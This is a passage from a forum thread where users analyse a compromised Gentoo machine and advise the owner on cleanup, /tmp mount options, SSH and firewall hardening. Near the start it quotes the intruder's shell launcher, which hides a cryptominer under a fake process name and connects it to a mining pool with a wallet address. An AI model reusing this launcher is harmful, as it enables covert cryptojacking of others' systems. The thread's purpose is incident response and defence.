-rwxr-xr-x 1 roy roy     329 Oct 27 14:30 a

-rwxr-xr-x 1 roy roy   15125 Feb 20  2016 h32

-rwxr-xr-x 1 roy roy  838583 Feb 20  2016 h64

-rwxr-xr-x 1 roy roy 2979640 Jun 23 21:19 md

-rwxr-xr-x 1 roy roy  227220 Oct 22 15:25 md32

-rwxr-xr-x 1 roy roy  168896 Sep 27 11:58 mdx

-rwxr-xr-x 1 roy roy     564 Nov  5 22:05 run

-rwxr-xr-x 1 roy roy      24 Oct  4 19:45 x

-rwxr--r-- 1 roy roy     139 Nov  5 21:21 z
```

as is running file to see what the files are. 

```
~/downloads/evil_crack_attack/.z $ file 1

1: Bourne-Again shell script, ASCII text executable
```

That contains

```
 #!/bin/bash

proc=`nproc`

ARCH=`uname -m`

HIDE="-bash"

if [ "$ARCH" == "x86_64" ];   then

        ./h64 -s $HIDE ./mdx -a cryptonight -o stratum+tcp://xmr-eu1.nanopool.org:14444 -u 45GCe3MjJq9SgJLQrgsvs2fgpX9Tu6B1mZrUnusaPLcSGveHeBHZZhqY9JciEKqYVyACZamLejJDaeydLksTG1iSFgMB68b -p x >>/dev/null &

fi

echo $! > bash.pid
```

Notice it tries to do something on port 14444.

With my firewall, it would have been REJECTED outgoing and logged.  This is an example of trying to phone home.

Given the differences between the pristine download and your post, I guess that mine68b.tar.gz is a loader, that fetches more.

In which case it may be a fully automated attack. Hardly anything would be in .bash_history as its all scripted.  

```
-rwxrwxrwx  1 root root 945732 Oct 31  2016 b 
```

is a really bad sign, since only root can create root owned files.

I wonder, ... add -n to your ls command.

If the owner is 0 that's really root, if its some other number we need to look further.

If the attacker had root, why were fhey running stuff as guest and trying to hide it?

Maybe there were several independent attackers, unaware of one another.

--- edit ---

You will forgive me if I don't run it.  :)

----------

## LIsLinuxIsSogood

Its a bit late now as I've deleted it.  But i see your point, and thanks for taking the time to look into it and harmlessly (:  have a crack at the files in there.

Thanks again.  I know that looks bad, and I am going to do my best to avoid use of all the files on the system, but it looks like my last complete backup could have a been a while ago.  How do you feel about instead of a reinstall, I should just restore from a bare metal backup I did sometime a few months back and then just update the system.  Hopefully if I go back far enough, I usually only do one of these every month or two (at most).  Of course, just starting fresh with an install is always an option too.

----------

## NeddySeagoon

LIsLinuxIsSogood,

Can you prove your backup is clean?

I would copy /etc and your world file to a USB stick and reinstall.  You can only refer to the stuf on the USB stick, not reuse the files.

Now reinstall.

You can copy and paste the contents of individual files from the saved /etc to the new install.

That forces you to review them on the way.

Likewise, you can copy and paste the contents of your world file into the new install.

Again, you review it on the way.

At this point, you are in a chroot with a stage3 and populated world file, ready to build things.

Populate /etc/portage with the copy/paste/review process. 

When you are ready 

```
emerge -uDUav @world --keep-going --with-bdeps=y
```

will rebuild things.

You still have to do the grub dance so it will boot.

If you have any confidential personal information on that compromised system, like private keys - revoke them now.

Public keys don't matter, they are supposed to be public. 

Change your ssh keys everywhere if you have ssh private keys there.

Bank/credit card/amazon/paypal logins ... tell the providers and get them changed.

Even if you use a 'wallet' with a passphrase, it may be cracked offline and can no longer be trusted.  

If the attacker(s) got root the only safe course of action is to assume that they got everything else too.

Do not reuse any user passwords - anywhere.  Force all your users to change their passwords.

If you don't already, force strong passwords.  That makes brute forcing harder.

----------

## Hu

If these files were all written to and run from /tmp, how did any of this make any forward progress after the initial download?  Did you not mount /tmp as noexec,nodev?  This is not a catch-all defense if users are allowed to run code from their home, but it stops some trivial attacks by denying them a well-known path that is writable+executable.  Denying unprivileged users any areas that are writable+executable is a bit more challenging politically, but provides a major step up in isolating malicious downloads.

As an aside, whoever wrote that payload needs some remedial lessons in shell commands.  On the other hand, they did know the quirk for reading the last record with the Bash read.

----------

## eccerr0r

Tempted to grab and run this on a networkless VM to see what it does...

----------

## LIsLinuxIsSogood

 *Quote:*   

> If these files were all written to and run from /tmp, how did any of this make any forward progress after the initial download? Did you not mount /tmp as noexec,nodev? This is not a catch-all defense if users are allowed to run code from their home, but it stops some trivial attacks by denying them a well-known path that is writable+executable.
> 
> 

 

Looking at the backup it is clear that at some point (maybe while diagnosing some issues with Temporary files in the /tmp folder that I applied my own chmod to that folder) and thereby opened up this whole attack.  Oops!

root@sysresccd /mnt/gentoo % getfacl tmp

# file: tmp

# owner: root

# group: root

# flags: --t

user::rwx

group::rwx

other::rwx

What should this look like, can someone please provide an example? So I may return it to its appropriate state and close that security gap.

 *Quote:*   

> Can you prove your backup is clean? 

 

Yes.  From my backup, I think I can proove that the payload wasn't there, nor was the key so that could be a pretty good sign.  That it is most likely PRE-infection. 

root@sysresccd /mnt/gentoo/home/guest/.ssh % ls -l

total 4

-rw-r--r-- 1 1002 1002 94 Jul 29 10:10 known_hosts

root@sysresccd /mnt/gentoo/tmp % ls -la

total 48

drwxrwxrwt 11 root root 4096 Sep 17 07:48 .

drwxr-xr-x 24 root root 4096 Nov 11 10:57 ..

-rw-r--r--  1 1001 1001    0 Sep 17 05:09 .autofs_change

drwxr-xr-x  2 root root 4096 Sep 17 07:50 cron.bZLStD

drwx------  2 root root 4096 Sep 17 07:38 firefox-dev_root

drwx------  2 1001 1001 4096 Sep 17 05:09 firefox_jonr

drwxrwxrwt  2 root root 4096 Sep 17 05:09 .ICE-unix

drwx------  2 1001 1001 4096 Sep 17 06:24 mozilla_jonr0

drwx------  2 1001 1001 4096 Sep 17 05:09 pulse-2L9K88eMlGn7

drwx------  2 root root 4096 Sep 17 05:09 pulse-PKdhtXMmr18n

drwx------  2 root root 4096 Sep 17 07:29 qdirstat-root

srwxr-xr-x  1 root root    0 Sep 17 05:09 wpa_ctrl_2608-1

-r--r--r--  1 root root   11 Sep 17 07:48 .X0-lock

drwxrwxrwt  2 root root 4096 Sep 17 07:48 .X11-unix

So, no payload.  And no ssh auth keys.  Nonetheless, it seems like a good idea to remove all private keys and begin with assigning some better security rules to SSH going ahead.

Re: BASH_HISTORY

I just looked at the recovery for bash_history and it matches exactly what I saw from the later situation even after the virus, which validates what I thought that either (a) no execution of further commands/code by guest or (b) if it happened in bash then the tracks were covered.   I may just continue from that tightening up stuff (security measures et cetera).  And being super diligent to look out for any signs of further corrupted stuff or attacks of any kind.  What I don't understand is what the point is of backing up in this case if I can't actually recover any of my documents, media (music, movies), personal files, and all of it really. I mean the reinstalling seems like it has a particular use for something where the payload was executed, not just the appearance of having gotten into the root account, because that itself could be a hack as you mentioned if that isn't really uid=0 in this case.  IDK because I've since removed everything and won't be able to check anything.  At this point, I restored from backup, in September.Last edited by LIsLinuxIsSogood on Sat Nov 11, 2017 9:15 pm; edited 3 times in total

----------

## Ant P.

You were running Firefox as root?

----------

## LIsLinuxIsSogood

 *Quote:*   

> You were running Firefox as root?

 

I was it is possible yes.  But probably only while testing the features of an out of tree build that was downloaded source code.  I can't recall specifically if it was due to some problem with installation or just a mistake (I agree with you)...in general I may have fired it up a couple of times as root, BUT no ongoing use as root.  I think it is interesting since root is supposed to have access to everything on the system that the "restrictions" that could be placed there as suggestions are really meant to be taken strongly.

Do you never use the web as root?  Because if that is a piece of advice I will remember to take that one seriously.  Just like I hope to never "have to" run any DE or X session as that user.

----------

## NeddySeagoon

LIsLinuxIsSogood,

```
drwxrwxrwt  11 root root    280 Nov 11 20:27 tmp
```

and /tmp should be mounted 

```
/dev/shm on /tmp type tmpfs (rw,nosuid,nodev,noexec,noatime)
```

nosuid,nodev,noexec helps stop the nasties as any code that they upload there cannot be run.

You can use you backups only if you can demonstrate that they are clean.

You must still do all the  *NeddySeagoon wrote:*   

> If you have any confidential personal information on that compromised system, like private keys - revoke them now.
> 
> Public keys don't matter, they are supposed to be public.
> 
> Change your ssh keys everywhere if you have ssh private keys there.
> ...

 

None of that can be reused.

Mounting /home noexec is good too but you may get complaints from users.

----------

## LIsLinuxIsSogood

Thank you all very much.

I will look into securing the system by checking my mount options (are those in fstab or mtab or where exactly...)

Also, I'll be sure to remove all login passwords, and those things, plus as mentioned everything you said I will take it into account and remove.

Thanks

----------

## NeddySeagoon

LIsLinuxIsSogood,

Mount options go in /etc/fstab 

```
# Warning mounting /tmp noexec is a good idea but breaks nvidia-drivers

/dev/shm                                   /tmp                    tmpfs  noexec,noatime,nodev,nosuid 0 0
```

Thats an old comment. I think nvidia-drivers has been fixed for many years.

Security in like the layers of an onion.  Assess your perceived threat and put in place the security to defend against it.

The idea is not always just to keep the bad guys out, its to limit the damage that they can do if they do get in.

A firewall that limits connections in both directions can help.  It would have stopped port 14444 being used.

Mounting /tmp noexec would have stopped code uploaded being executed there but guest had WX space on /home.

It would not have defeated a human attacker but may have defeated a script.

The guest user should not have been allowed ssh access.

The firewall could allow only some IP ranges to connect to ssh.

Key based ssh could be used.

The idea is to make an attacker move on before they can achieve anything.

Think about 'port knocking' for ssh.  Its another way to keep out uninvited users.

Don't just focus on ssh.  Any open port is an attack vector.

----------

## LIsLinuxIsSogood

So why this:

```
/dev/shm                                   /tmp                    tmpfs  noexec,noatime,nodev,nosuid 0 0   
```

Instead of this:

```
none               /tmp       tmpfs    nodev,nosuid,noexec                 0 0

```

Or are those essentially the same options to include anyhow once udev hands over the operation of devices to the user?

Regarding the NVidia drivers, those seem to be ok at the moment, but what I can't do is to run wpa_supplicant given this configuration, since it's script is usually done by making some executable imprint within the /tmp directory.  

I guess I can find a way around using it, altogether, but anyway if I wanted to continue WITH IT, what would I have to include in terms of a hook of some kind in the script to mount/remount exec privileges, if possible and then remount again without them based on fstab (noexec)?  I see this problem of having not followed the security handbook's protocol as having directly lead to my getting malware on my machine, therefore I'm destined to not want to repeat this.  [/quote]any suggestions would be appreciated, thanks!

----------

## LIsLinuxIsSogood

I guess to be a bit more specific about my ongoing concern here, which I feel could easily have been the start of another post (still learning the etiquette to this forum hee heh)

With this as my new fstab

```
/dev/sda2       /boot           ext2    noauto,relatime                 1 2

/dev/sda3       none            swap    sw                              0 0

/dev/sda4       /               ext4    relatime,errors=remount-ro      0 1

/dev/sda5       /home           btrfs   relatime,nodev,nosuid    0 2

/dev/cdrom      /mnt/cdrom      iso9660 noauto,ro                       0 0

/dev/shm        /tmp            tmpfs   nodev,nosuid,noexec             0 0
```

Everything looks like it should be fairly good to go, there's a coulple differences so I wanted to check it out. Before moving on, for some reason this still leaves my /tmp directory with similar permissions as before...do I need to manually change the bits for just /tmp directory?

```
******** / # ls -l | grep tmp

drwxrwxrwt   4 root root       140 Nov 15 09:39 tmp
```

----------

## NeddySeagoon

LIsLinuxIsSogood,

The root cause of the intrusion was a guest account with an easy to guess password (often guest) that was allowed to use ssh.

That's the main lesson.

Exploits come in two major categories.  Remotely exploitable and locally exploitable.  Locally exploitable issues may be far more damaging as users with local access (including ssh) tend to be more trusted than people portscanning and running dictionary attacks against your sshd.

Step one it to keep these users out.

Step two is to not expose any applications that have known exploits to the internet.

Step three is to make it hard for an intruder to do anything useful when they do break in.

Step four is to prevent an intruder phoning home.

When an intruder has access to some space that has both write and execute permissions, they can save and subsequently execute random binaries.

That's a very bad thing.  If wpa_supplicant needs /tmp to be wx, you will need to grant it as there is really no alternative if you want to use WPA to keep other users off your wifi.  If you want to encrypt your wifi, you should run your own tunnel over it.  Maybe that's too paranoid? 

I'm a little paranoid.  I don't trust wifi, it has its own isolated subnet. I do use wpa_supplicant but my wifi devices de not contain any personal information. 

Having started wifi and run

```
ls -laR | grep wx
```

on /tmp I only get symlins and directories listed.  That's harmless as permissions on symlinks are never used and x on directories mean that the owner, group, world may cd to the directory.

wpa_supplicant may still want wx on a transient script. 

Hmm ...

```
Pi3_64 ~ # mount -o remount,noexec,nodev,nosuid /tmp

Pi3_64 ~ # /etc/init.d/net.wlan0 stop

 * Bringing down interface wlan0

 *   Stopping dhcpcd on wlan0 ...

sending signal TERM to pid 29920

waiting for pid 29920 to exit                                                                                                                                                                      [ ok ]

 *   Stopping wpa_cli on wlan0 ...                                                                                                                                                                 [ ok ]

 *   Stopping wpa_supplicant on wlan0 ...                                                                                                                                                          [ ok ]

Pi3_64 ~ # /etc/init.d/net.wlan0 start

 * Bringing up interface wlan0

 *   Changing MAC address of wlan0 ...                                                                                                                                                             [ ok ]

 *     changed to B8:27:EB:7D:65:AB

RTNETLINK answers: Operation not possible due to RF-kill

 *   Starting wpa_supplicant on wlan0 ...

Successfully initialized wpa_supplicant

rfkill: WLAN soft blocked                                                                                                                                                                          [ ok ]

 *   Starting wpa_cli on wlan0 ...                                                                                                                                                                 [ ok ]

 *   Backgrounding ... ...

 * WARNING: net.wlan0 has started, but is inactive
```

rfkill doesn't like noexec,nodev,nosuid

-- edit --

rfkill is fine.  I just needed to run it.

----------

## LIsLinuxIsSogood

Cool, it is figured out and yes the problem of remote access with insecure account passwords is something i will be changing moving forward.

----------

## Jaglover

The main thing is to have a user named 'test' with password 'test', with sudo rights.

----------

## LIsLinuxIsSogood

This is a joke.  Or else I'm reading it wrong....but you have a point here, which is that the very good news was about the limited effect, I caught it in the system before there was access (I believe) to the root account.  The truth is that there was a single file with root ownership, but there was also no way of knowing if that was done through my system's root account or just placed "there" to look like it was.

I think sudo and sudo rights is what saved me here.  The hassle of having to not be able to refer back to these files, or else worse yet maybe they would have been able to better cover their tracks had they been successfully able to access the root account.

From what I can see, there was "little" action taken and that to me is fairly inconsistent with the purpose of a hacker gaining root access, which is also why I believe that never occurred.

So far, this has been more of a lesson about mount options (in tmp directory) and the proper settings for SSH.  But in addition, as neddy has continually pointed the user accounts on the system need to be (or ought to be) heavily in check.  I don't know about how others feel about this, but to me while it makes sense it also was somewhat not the most intuitive place to lock down the system, as most of what is required to infect the system happens over just a few certain open ports, or with physical access to the machine, no?

In this case, I still have no clue how it gone onto my machine, but I think that the purpose a while ago of my adding a guest account had nothing to do with SSH, but was something for testing hardware (audio I think).

----------

## Hu

CAP_CHOWN is privileged and typically only found on processes running with root permission (some special exceptions apply, but are not relevant to this thread).  Processes must have CAP_CHOWN to change the ownership of a file.  If you found a file owned by root, then a process running as root wrote it or a process with CAP_CHOWN (which is roughly equivalent to saying "a process running as root") changed the ownership of it to be root.  Either way, files don't end up owned by root without some cooperation from root.  The only way it's acceptable to find a root owned file in this scenario is if you, as the authorized user of root, accidentally caused the file to be root-owned.  If you didn't make the file owned by root, then someone else with root privilege did.  That's a bad sign, because while it's possible that the attacker got CAP_CHOWN on an otherwise unprivileged process and didn't use it for anything worse than leaving this worrying clue, it's much more likely that if the attacker could change file ownership, then he had relatively unrestricted root access.

Mode 1777, typically reported as rwxrwxrwt, is standard on /tmp.  The noexec mount option does not affect the shown permissions.  In Neddy's list of steps, step three is complicated for the attacker by reducing the set of places that the attacker can write and subsequently run programs.  They can still do damage without that, but it's harder, and if they aren't prepared, they may not have any attacks ready that work with that restriction active.  If you're very lucky, the attacker is an automated script that assumes /tmp is not noexec, and the script will be completely blocked when that assumption fails.  Don't count on being lucky, but do lock your doors, in case the attacker forgot to bring lockpicks.  :Wink: 

----------

## LIsLinuxIsSogood

 *Quote:*   

> an otherwise unprivileged process and didn't use it for anything worse than leaving this worrying clue, it's much more likely that if the attacker could change file ownership, then he had relatively unrestricted root access. 

 

Why would an attacker be delaying at that point?

My guess is you are at least partially correct in assuming that whatever root file I had (back earlier in the thread) was probably not the attacker or else was me doing it.  I just can't see how a file like that would show up, maybe from some internet source possibly even unrelated to the attack.  At this point the whole operating system has been deleted anyways.  So no worries.  I do have some files on my backup drive, but as Neddy pointed to, I will not try to use those files for other than a reference to them (so far I may have copied some of them only, but starting now I will be more to his suggestions not to.) 

Fascinating thing I learned was about SSH attacks going on within the world at large, and some users experiencing hundreds of attempts to break in each day.  So that's why I shut off the service for now. Until I can read up on securing the secure shell.  Up until now I was basically not relying on it for its security but for its remote access features, which is a huge part of it, but I guess with user accounts and privileges, disk access through the network, and other security concerns that is going to have to wait until I have followed the protocols for securing those things and then I can open up port 22 for secure private key with host specific access.  I do not have a true firewall at the house, just a regular Netgear router.  So no real protection there I don't think, other than some basic difficulty it could cause to ME.

----------

## LIsLinuxIsSogood

Just came across something while working to secure my new desktop, in the security handbook after reading the PAM section and then checking out the man pages as well, the problem is there is a line that I don't understand, which is the following:

 *Quote:*   

> -:wheel:ALL EXCEPT LOCAL .gentoo.org

 

From having read the man page, I would assume this means to disallow logins by wheel (which includes my root user!) to any local resources that are not labeled as gentoo.org

What is the point of that?  Is it to keep others from installing miniature systems or new host spaces or to protect from some other activty.  The only concern I have with entering it in is that I will lose root access to my machine at some point if for whatever stupid reason of my own something got changed by a command run as root or something like that.

Maybe someone could help me to clear up  what to gentoo.org have to do with anything in terms of logging in as a user on my localhost?

FYI - the more complete set of instructions from the security handbook have this as the example,

/etc/security/access.conf

```
-:ALL EXCEPT wheel sync:console

-:wheel:ALL EXCEPT LOCAL .gentoo.org

```

Basically meaning what...that if root was ever removed from wheel that logins to the machine would be completely unrecoverable?  I think it makes sense to start a new post on this separate topic to see what kind of suggestions I might get, that is my next step.

----------

## Hu

 *LIsLinuxIsSogood wrote:*   

> Why would an attacker be delaying at that point?

 It could be a poorly informed attacker, a script with an unusual purpose, or someone who just wants to confuse you; or it could be none of those things and the attacker left that behind as a misdirect or an incidental artifact of how the real attack worked. *LIsLinuxIsSogood wrote:*   

> I do not have a true firewall at the house, just a regular Netgear router.  So no real protection there I don't think, other than some basic difficulty it could cause to ME.

 Why not use Netfilter (via iptables) to restrict access?  It's only per-machine instead of network wide, but it works fine.

----------

## NeddySeagoon

LIsLinuxIsSogood,

Somebody had root to leave a root owned file behind.

```
root@sysresccd /mnt/custom/tmp/.b23z % ls -al

total 1904

drwxr-xr-x  2 root root   4096 Jul 28 13:21 .

drwxrwxrwt 10 root root   4096 Nov 10 00:54 ..

-rw-r--r--  1 1002 1002      0 Nov 10 00:31 .a

-rwxrwxrwx  1 root root 945732 Oct 31  2016 b 
```

Its all in the attack directory too, so I'w fairly sure that it wasn't you.

Also, root does not normally make files with rwxrwxrwx permissions.

From the Oct 31  2016 timestamp, that file was created elsewhere then uploaded after the attacker had gained root.

I second the iptables approach.  Writing iptables rules by hand is painful but there are a number of front ends that make it easier.

I use shorewall but thats one of several.

----------

